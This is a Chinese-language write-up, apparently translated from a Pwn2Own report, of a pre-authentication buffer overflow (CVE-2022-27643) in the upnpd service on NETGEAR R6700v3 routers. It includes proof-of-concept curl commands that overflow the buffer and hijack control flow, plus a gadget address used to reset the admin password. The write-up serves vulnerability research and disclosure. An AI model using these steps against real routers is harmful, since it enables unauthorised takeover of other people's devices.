深入分析CVE-2022-27643漏洞

匿名者  993天前

111.png

最近,安全研究人员在多款NETGEAR产品中提供并默认启用的通用即插即用守护程序(upnpd)中发现了远程预身份验证缓冲区溢出漏洞。在202111月举行的Austin pwn2own比赛期间,参赛人员利用该漏洞一举拿下路由器局域网(LAN)端的NETGEARR6700v3设备。

以下22个型号的NETGEAR设备都受到该漏洞的影响:D6220D6400D7000v2EX3700EX3800EX6120EX6130R7100LGR6400R6400v2R6700v3R6900PR7000R7000PR7850R8000R8500RS400WNDR3400v3WNR3500Lv2XR300DC112A。更多细节可以在NETGEAR的安全报告中找到,地址为https://kb.netgear.com/000064720/Security-Advisory-for-Pre-Authentication-Buffer-Overflow-on-Multiple-Products-PSV-2021-0323

在本文中,将为读者详细介绍我们是如何在pwn2own期间利用该漏洞成功拿下R6700v3设备的。

简介

再继续阅读下文之前,建议读者先从Netgear网站下载固件映像R6700v3-V1.0.4.120_10.0.91.zip。该固件映像内有一个Squashfs文件系统,我们可以用binwalk将其提取出来,具体命令如下所示:

unzip R6700v3-V1.0.4.120_10.0.91.zip

binwalk -e R6700v3-V1.0.4.120_10.0.91.chk

这时,将创建一个文件夹“squashfs-root”,其中包含本报告中所涉及的各个文件。

为了帮助调试该漏洞,我们将静态链接的GDB服务器复制到U盘上面,然后将其插入到R6700v3设备上。之后,我们可以使用telnetenable.py脚本,建立到目标设备的telnet会话,并将GDB服务器附加到目标upnpd进程:

#/tmp/mnt/usb0/part1/gdbserver-7.7.1-armel-v1 --attach 192.168.1.1:4444PID_OF_UPNPD 

然后,我们就可以从开发机器连接到这个远程GDB服务器了,具体命令如下所示:

$ gdb-multiarch./squashfs-root/usr/sbin/upnpd

(gdb) target remote 192.168.1.1:4444

漏洞分析

在这里,二进制文件/usr/sbin/upnpd将在TCP端口5000上侦听HTTP请求,在TCP端口5555上侦听HTTPS请求。对/soap/server_sa端点的POST请求将由位于虚拟地址(VA)0x0003C784处的函数进行处理。如果这个POST请求包含其值为“urn:NETGEAR-ROUTER:service:ParentalControl:1#Authenticate”的SOAPAction头部,则POST请求的内容(预期为xm l格式)将通过一种不安全的方式进行解析,具体代码如下所示:

request_soapaction = stristr(buffer,"SOAPAction:");

// ...

v71 = stristr(request_soapaction + 11,"NewMACAddress");

if (v71 != 0) {

   v72 = stristr(request_soapaction + 11, "NewMACAddressxsi:type=\"xsd:string\">");

   if (v72 == 0) {

       begin = v71 + 14;

    }

   else {

       begin = v71 + 36;

    }

   strncpy(&GLOBAL_NewMACAddress, "", 19);

   end = stristr(request_soapaction + 11,"</NewMACAddress>");

   if (end != 0) {

       strncpy(&GLOBAL_NewMACAddress, "", 19);

       strncpy(&GLOBAL_NewMACAddress, begin, end - begin);

       GLOBAL_NewMACAddress[end - begin] = 0;

       log(3, "NewMACAddress = %s\n", &GLOBAL_NewMACAddress);

    }

 从上面以黄色突出显示的代码可以看出,如果找到NewMACAddress xm l标记,将执行对strncpy的调用,从而将NewMACAddress值的内容复制到静态缓冲区。但是,调用strncpy的逻辑是错误的,因为提供给strncpy的长度值是攻击者提供的源字符串的长度,而不是目标静态缓冲区的长度(只有20字节)。因此,如果攻击者提供大于20字节的NewMACAddress值,则可以溢出静态缓冲区,并将攻击者控制的数据写入相邻的内存中。检查下面以黄色突出显示的变量GLOBAL_NewMACAddress的位置,我们可以看到这个变量保存在二进制文件upnpd.bss段中。因此,我们可以覆盖.bss段中的相邻变量,以及与.bss段相邻的内存,如果它被映射到可写的地址空间中的话。

.bss:0x000DB00C GLOBAL_NewMACAddress:

.bss:0x000DB00C db 20 dup(??)

.bss:0x000DB020 data_0xDB020:

.bss:0x000DB020 db 4 dup(??)

.bss:0x000DB024 GLOBAL_new_http_passwd:

.bss:0x000DB024 db 132 dup(??)

.bss:0x000DB0A8 data_0xDB0A8:

.bss:0x000DB0A8 db 20 dup(??)

.bss:0x000DB0BC data_0xDB0BC:

.bss:0x000DB0BC db 20 dup(??)

.bss:0x000DB0D0 data_0xDB0D0:

.bss:0x000DB0D0 db 2048 dup(??)

.bss:0x000DB8D0 data_0xDB8D0:

.bss:0x000DB8D0 db 4 dup(??)

.bss:0x000DB8D4 data_0xDB8D4:

.bss:0x000DB8D4 db 4 dup(??)

.bss:0x000DB8D8 data_0xDB8D8:

.bss:0x000DB8D8 db 20 dup(??) 

在这里,值得注意的是相邻的变量GLOBAL_new_http_passwd,上面已经用粉色标出。我们将在利用这个漏洞的过程中用到它。

漏洞的利用过程

R6700v3设备在ARM上运行2.6.36.4版本的Linux内核。并且,系统内核被配置为randomize_va_space = 1,也就是说,将随机化进程堆栈和共享库的地址空间,但不随机化主二进制程序或进程堆。而二进制文件upnpd并没有构建为位置无关的可执行代码(PIE)。这导致.bss段在内存中的地址是固定的,而与.bss段直接相邻的是进程堆:它用于为调用malloc提供分配空间。

这个漏洞的利用过程如下所示:

1.利用溢出定位堆内存中的函数指针,并用攻击者控制的值覆盖该函数指针。

2.然后,再次利用溢出漏洞来覆盖.bss段中的一个变量,该变量保存将设置为nvram http_passwd项的密码值。

3.强制upnpd服务调用溢出的函数指针,并将执行流重定向到将设置nvram http_passwd的指令序列。

4.如果将http_passwd设置为攻击者控制的值,我们就可以登录管理门户并完全控制设备。

控制程序计数器

由于进程堆与内存中的upnpd映像直接相邻,并且堆的地址没有被随机化,所以,我们可以对堆的布局做一些假设。我们可以借助于malloc早期分配的内存空间,因为它们在进程地址空间中具有相同的地址。这些内存的分配过程发生在upnpd接受外部网络流量之前,因此将始终以相同的顺序进行。我们感兴趣的是upnp二进制代码是如何初始化OpenSSL库(Version1.0.2h)的。实际上,二进制代码upnpd中的main()函数将调用VA0x00025034处的一个函数来初始化SSL,这将执行对SSL_load_error_strings()函数的调用。这个调用将执行许多堆分配操作,以生成字符串的哈希映射,稍后将用于生成人类可读的错误消息串。在这里,一个核心数据结构是_LHASH结构体,其中包含一个函数指针“hash”,如下面用红色突出显示的那样:

typedef struct lhash_st {

   LHASH_NODE** b;

   LHASH_COMP_FN_TYPE comp;

   LHASH_HASH_FN_TYPE hash;

   unsigned int num_nodes;

   unsigned int num_alloc_nodes;

   unsigned int p;

   unsigned int pmax;

   unsigned long up_load; /* load times 256 */

   unsigned long down_load; /* load times 256 */

   unsigned long num_items;

   unsigned long num_expands;

   unsigned long num_expand_reallocs;

   unsigned long num_contracts;

   unsigned long num_contract_reallocs;

   unsigned long num_hash_calls;

   unsigned long num_comp_calls;

   unsigned long num_insert;

   unsigned long num_replace;

   unsigned long num_delete;

   unsigned long num_no_delete;

   unsigned long num_retrieve;

   unsigned long num_retrieve_miss;

   unsigned long num_hash_comps;

   int error;

} _LHASH; 

经过一番调试,我们发现_LHASH结构体总是被分配在堆中,从upnpd二进制文件的.bss部分的GLOBAL_NewMACAddress变量开始算起的话,其固定偏移量始终为7500。因此,我们可以利用溢出来可靠地覆盖这个哈希函数指针。下一个挑战是如何触发对被覆盖的函数指针的调用:如果我们查看OpenSSL源代码,我们可以看到,ERR_print_errors_fp将调用ERR_print_errors_cbERR_print_errors_cb将调用ERR_error_string_nERR_error_string_n将调用ERR_lib_error_stringERR_lib_error_string将调用int_err_get_itemint_err_get_item将调用lh_ERR_STRING_DATA_retrieve,而lh_ERR_STRING_DATA_retrievelh_retrieve的宏,它将调用getrn,而getrn将从堆上的_LHASH结构体中调用该哈希函数指针。

// .\openssl-1.0.2h\crypto\err\err_prn.c

void ERR_print_errors_fp(FILE* fp)

{

   ERR_print_errors_cb(print_fp, fp);

}

 

void ERR_print_errors_cb(int (*cb) (constchar* str, size_t len, void* u), void* u)

{

   unsigned long l;

   char buf[256];

   char buf2[4096];

   const char* file, * data;

   int line, flags;

   unsigned long es;

   CRYPTO_THREADID cur;

   CRYPTO_THREADID_current(&cur);

   es = CRYPTO_THREADID_hash(&cur);

   while ((l = ERR_get_error_line_data(&file, &line, &data,&flags)) != 0) {

       ERR_error_string_n(l, buf, sizeof buf);

       BIO_snprintf(buf2, sizeof(buf2), "%lu:%s:%s:%d:%s\n", es, buf,

       file, line, (flags & ERR_TXT_STRING) ? data : "");

       if (cb(buf2, strlen(buf2), u) <= 0)

           break; /* abort outputting the error report */

    }

}

 

//\openssl - 1.0.2h\crypto\err\err.c

void ERR_error_string_n(unsigned long e,char* buf, size_t len)

{

   char lsbuf[64], fsbuf[64], rsbuf[64];

   const char* ls, * fs, * rs;

   unsigned long l, f, r;

    l= ERR_GET_LIB(e);

    f= ERR_GET_FUNC(e);

    r= ERR_GET_REASON(e);

   ls = ERR_lib_error_string(e);

   // ...

}

 

const char* ERR_lib_error_string(unsignedlong e)

{

   ERR_STRING_DATA d, * p;

   unsigned long l;

   err_fns_check();

    l= ERR_GET_LIB(e);

   d.error = ERR_PACK(l, 0, 0);

    p= ERRFN(err_get_item) (&d);// int_err_get_item

   return ((p == NULL) ? NULL : p->string);

}

 

static ERR_STRING_DATA * int_err_get_item(constERR_STRING_DATA * d)

{

   ERR_STRING_DATA* p;

   LHASH_OF(ERR_STRING_DATA)* hash;

   err_fns_check();

   hash = ERRFN(err_get) (0);

   if (!hash)

       return NULL;

   CRYPTO_r_lock(CRYPTO_LOCK_ERR);

    p= lh_ERR_STRING_DATA_retrieve(hash, d);

   CRYPTO_r_unlock(CRYPTO_LOCK_ERR);

   return p;

}

 

#definelh_ERR_STRING_DATA_retrieve(lh,inst) LHM_lh_retrieve(ERR_STRING_DATA,lh,inst)

#define LHM_lh_retrieve(type, lh, inst) \

((type *)lh_retrieve(CHECKED_LHASH_OF(type,lh), \

CHECKED_PTR_OF(type, inst)))

 

//.\openssl-1.0.2h\crypto\lhash\lhash.c:241

void* lh_retrieve(_LHASH * lh, const void*data)

{

   unsigned long hash;

   LHASH_NODE** rn;

   void* ret;

   lh->error = 0;

   rn = getrn(lh, data, &hash);

   if (*rn == NULL) {

       lh->num_retrieve_miss++;

       return (NULL);

    }

   else {

       ret = (*rn)->data;

       lh->num_retrieve++;

    }

   return (ret);

}

// .\openssl-1.0.2h\crypto\lhash\lhash.c:390

static LHASH_NODE** getrn(_LHASH* lh, constvoid* data, unsigned long* rhash)

{

   LHASH_NODE** ret, * n1;

   unsigned long hash, nn;

   LHASH_COMP_FN_TYPE cf;

   hash = (*(lh->hash))(data); 

通过触发被覆盖的哈希函数指针的路径,我们可以从upnpd二进制代码中看到,当与端口5555HTTPS连接在SSL_Accept期间无法从客户端建立TLS/SSL握手时,upnpd!upnp_main就会调用ERR_print_errors_fp

// upnpd!func_0x1B630+0x400

log(2, "%s(%d): port=%d\r\n","upnp_main", 1083, 5555);

client_socket = accept(data_0x66B24 + 0x8,&local_0x50, &local_0x30);

if (client_socket < 0) {

   log(2, "\r\n%s(%d)Port %d socket accesp failed!!\r\n","upnp_main", 1087, 5555);

   // ...

}

else {

   ssl = SSL_new(data_0x9090C);

   data_0x90910 = ssl;

   SSL_set_fd(ssl, client_socket);

   log(2, "%s(%d)before ssl accept, acceptfd is %d \n","upnp_main", 1093,

   client_socket);

   res = SSL_accept(data_0x90910);

    SSL_get_error(data_0x90910, res);

   if (res == 0 || res < 0) {

       ERR_print_errors_fp(__bss_start__); 

因此,我们可以在实现溢出后执行一个无效的HTTPS连接到TCP端口5555,以获得对进程程序计数器(PC)寄存器的控制。为了证明这一点,我们可以执行以下两条curl命令,第一条是实现溢出,第二条是触发对被覆盖的函数指针的调用并获得PC控制权。

curl http://192.168.1.1:5000/soap/server_sa-X POST -H "SOAPAction:\"urn:NETGEARROUTER:service:ParentalControl:1#Authenticate\""--data "<NewMACAddress>$(printf 'A%.0s'{1..7500})BBBBCCCCDDDD</NewMACAddress>"

curl http://192.168.1.1:5555/ 

如果我们连接了GDB,我们可以看到以下输出,其中溢出的四个字符D用黄色突出显示:

Program received signal SIGSEGV,Segmentation fault.

0x44444444 in ?? ()

(gdb) i r

r0    0xbed5ca78 3201682040

r1    0xbed5ca78 3201682040

r2    0x0        0

r3    0x44444444 1145324612

r4    0x40312e58 1076964952

r5    0xdcd58    904536

r6    0x6b0c     27404

r7    0xbed5ca78 3201682040

r8    0xbed5ca78 3201682040

r9    0x100      256

r10   0xbed5dcb8 3201686712

r11   0x402811a0 1076367776

r12   0x0        0

sp    0xbed5ca40 0xbed5ca40

lr    0x4027c74c 1076348748

pc    0x44444444 0x44444444

cpsr  0x60000010 1610612752

(gdb) x/8x $r5

0xdcd58: 0x42424242 0x43434343 0x444444440x00000500

0xdcd68: 0x00000800 0x00000137 0x000004000x00000200

(gdb) bt

#0 0x44444444 in ?? ()

#1 0x4027c74c in ?? ()

Backtrace stopped: previous fr ame identicalto this fr ame (corrupt stack?)

(gdb) x/8i 0x4027c74c-0x20

         0x4027c72c:mov r2, #0

         0x4027c730:push {r3, r4, r5, r6, r7, r8, r10, lr}

         0x4027c734:mov r5, r0

         0x4027c738:ldr r3, [r0, #8]

         0x4027c73c:mov r8, r1

         0x4027c740:str r2, [r0, #92] ; 0x5c

         0x4027c744:mov r0, r1

         0x4027c748:blx r3 

如果我们通过“BLX R3”指令调查将控制转移到攻击者控制值的回溯跟踪中的地址,我们可以验证它来自/lib/libcrypto.so.1.0.0!lh_retrieve(编译器必须选择内联getrn)

目标函数Gadget

现在,我们已经能够控制执行流程了,我们必须选择如何利用它。由于我们溢出的GLOBAL_NewMACAddress变量与用于修改http管理员密码的变量(我们将称之为GLOBAL_new_http_passwd)相邻,因此,我们将进一步研究这个变量。在下面的用黄色标出的代码中可以看到,upnpd!func_0x289C8+0x10将使用GLOBAL_new_http_passwd变量,通过acosnvramconfig_set函数来设置路由器nvram配置中的http_passwd

// upnpd!func_0x289C8+0x10

if (p1 < 7) {

   if (p1 == 1) {

       acosNvramConfig_get("http_passwd");

       log(3, "old (%s), http (%s)\n", &data_0xDA318, __s2);

       v1 = strcmp(&data_0xDA318, __s2);

       if (v1 != 0) {

           log(3, "%s:%d\n", "sa_updateAdminPassword", 8832);

           return 20001;

       }

       log(3, "%s:%d\n", "sa_updateAdminPassword", 8829);

       acosNvramConfig_set("http_passwd",&GLOBAL_new_http_passwd);

       return 0;

    } 

我们可以考察从VA0x00028A74处开始的函数调用的反汇编代码。在执行对acosNvramConfig_set的调用之前,通过寄存器r0r1设置了两个参数。

 .text:0x00028A74 4C019FE5    ldr r0, [data_0x28BC8] ;"http_passwd"

 .text:0x00028A78 5C119FE5    ldr r1, [data_0x28BDC] ;GLOBAL_new_http_passwd

 .text:0x00028A7C CB8AFFEB    bl acosNvramConfig_set 

如果通过这个溢出漏洞,以值0x00028A74覆盖目标_LHASH::hash函数的指针(由于upnpd程序不是用PIE构建的,因此,这个地址是固定的),然后,再次使用溢出漏洞,用攻击者选择的密码值覆盖GLOBAL_new_http_passwd的值,通过执行一个无效的HTTP连接到TCP5555端口来更改密码。此外,攻击者还可以通过upnpd!func_0x3C784处易受攻击的函数,在溢出期间用含有null字节的值来覆盖GLOBAL_NewMACAddress变量,这允许攻击者写入包含null字节的值。(我们可以注意到,攻击者要写入的0x00028A74地址包含一个null字节,在小端模式的设备上,这实际上就会变成写入一个null终止符)。

通过将http_passwd设置为攻击者控制的值,攻击者就可以登录到路由器的Web界面。此时,攻击者就完全控制了该设备,如果需要,他们还可以利用telnetenable.py获得root shell

 

原文地址:https://blog.relyze.com/2022/03/cve-2022-27643-netgear-r6700v3-upnpd.html

最新评论

昵称
邮箱
提交评论